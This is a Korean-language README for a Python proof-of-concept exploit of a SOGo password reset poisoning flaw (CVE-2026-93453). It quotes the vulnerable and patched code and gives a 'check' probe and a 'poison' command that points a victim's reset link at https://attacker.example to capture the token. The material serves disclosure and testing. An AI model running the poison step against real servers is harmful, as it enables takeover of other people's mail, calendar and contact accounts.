
CVE-2026-93453에 대한 Python PoC로, 공격자가 제어하는 Origin 헤더를 통해 SOGo 비밀번호 재설정 링크를 오염시켜 재설정 토큰 가로채기 및 계정 탈취를 가능하게 하는 취약점입니다.
SOGo가 사용자에게 이메일로 발송하는 비밀번호 재설정 링크를 클라이언트가 제공한 Origin 헤더에서 그대로 조합하는 취약점에 대한 익스플로잇입니다. 피해자의 로그인 정보를 알고 있는 익명의 공격자가 조작된 Origin과 함께 복구 요청을 POST하면, 이메일로 발송된 "Password reset" 메시지 내부의 링크가 공격자의 호스트를 가리키게 되지만, 내장된 JWT는 여전히 완벽하게 유효한 복구 토큰입니다. 피해자가 한 번 클릭하면 토큰이 공격자의 액세스 로그에 남게 되고, POST /SOGo/changePassword가 이를 새로운 비밀번호로 교체합니다 — 메일, 캘린더, 연락처에 대한 완전한 계정 탈취가 이루어지며, 어느 단계에서도 인증이 필요하지 않습니다. 또한 이메일 분기는 SOGoPasswordRecoveryEnabled 검사를 건너뛰는데(이 플래그는 SecretQuestion 분기에서만 확인됩니다), 따라서 운영자가 복구 기능을 꺼두었다고 생각하더라도 이메일 벡터는 작동합니다.
레코드: https://www.cve.org/CVERecord?id=CVE-2026-93453
| 영향받는 버전 | SOGo < 5.12.11 (≤ 5.12.10) |
| 수정된 버전 | 5.12.11 (SOGoPasswordRecoveryBaseURLs 허용 목록) |
| 전제 조건 | SecondaryEmail 복구 모드를 사용하는 피해자; 공격자가 userName을 알고 있음; 피해자가 이메일로 받은 링크를 클릭함 |
| 영향 | 계정 탈취 |
// UI/MainUI/SOGoRootPage.m:1374 (tag SOGo-5.12.10) — passwordRecoveryEmailAction
url = [NSString stringWithFormat:@"%@%@?token=%@",
[[request headers] objectForKey:@"origin"], // <-- raw client header
[request uri],
jwtToken]; // <-- valid HS256 JWT, 10 min TTL
토큰이 포함된 재설정 URL은 Origin + request URI + JWT이므로, 헤더를 설정하는 사람이 피해자의 비밀이 전송될 호스트를 결정합니다. 이는 오픈 리다이렉트가 아니라 비밀번호 재설정 포이즈닝(CWE-640 / CWE-601)입니다: JWT는 어느 호스트가 이를 전달했든 /SOGo/changePassword에서 허용됩니다.
// 5.12.11 — the fix: origins are validated against a mandatory allowlist
baseUrls = [[SOGoSystemDefaults sharedSystemDefaults] passwordRecoveryBaseURLs];
serverUrl = [[request headers] objectForKey:@"origin"];
if (!(baseUrls && [baseUrls count] > 0)) // unset config -> 403
if (![baseUrls containsObject:serverUrl]) // foreign origin -> 403
5.12.11에서는 외부 Origin이 403("Password recovery email in error")을 받지만, ≤ 5.12.10에서는 동일한 요청이 200을 반환하고 메일이 발송됩니다 — 이 차이가 check가 판별하는 기준입니다.
# non-destructive probe: canary user + foreign Origin, classify the reply
python3 CVE-2026-93453.py check https://sogo.example
# poison: dispatch the reset mail for the victim with your host in the link
python3 CVE-2026-93453.py poison https://sogo.example --user victim --origin https://attacker.example
표준 라이브러리만 사용합니다(Python 3.8+). --proxy, --insecure, --timeout, --no-color, 그리고 비표준 SOGo 마운트 지점을 위한 --prefix를 지원합니다.
PoC는 공격자 인프라가 필요하지 않습니다: poison은 서버가 링크를 메일로 발송하게 만들 뿐이며, 포이즈닝된 호스트는 --origin에 입력한 값입니다. 취약한 인스턴스에서는 발송된 링크가 https://attacker.example/SOGo/passwordRecoveryEmail?token=<valid HS256 JWT>가 됩니다 — 피해자가 클릭하는 순간 토큰이 공격자의 호스트로 전송됩니다.
check는 존재하지 않는 카나리 사용자 이름을 사용하므로 실제 메일함으로 이메일이 전달되지 않습니다; 200 = 이메일 분기가 외부 Origin을 수락함(취약한 시그니처), 403 = 5.12.11 허용 목록 또는 SOGoPasswordRecoveryBaseURLs 미설정(익스플로잇 불가). 확실한 자체 테스트를 위해서는 본인 소유의 계정을 poison하고 본인 메일함에서 링크 호스트를 확인하십시오.
passwordRecoveryEmailAction)승인된 테스트 및 연구 목적으로만 사용하십시오. 본인이 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.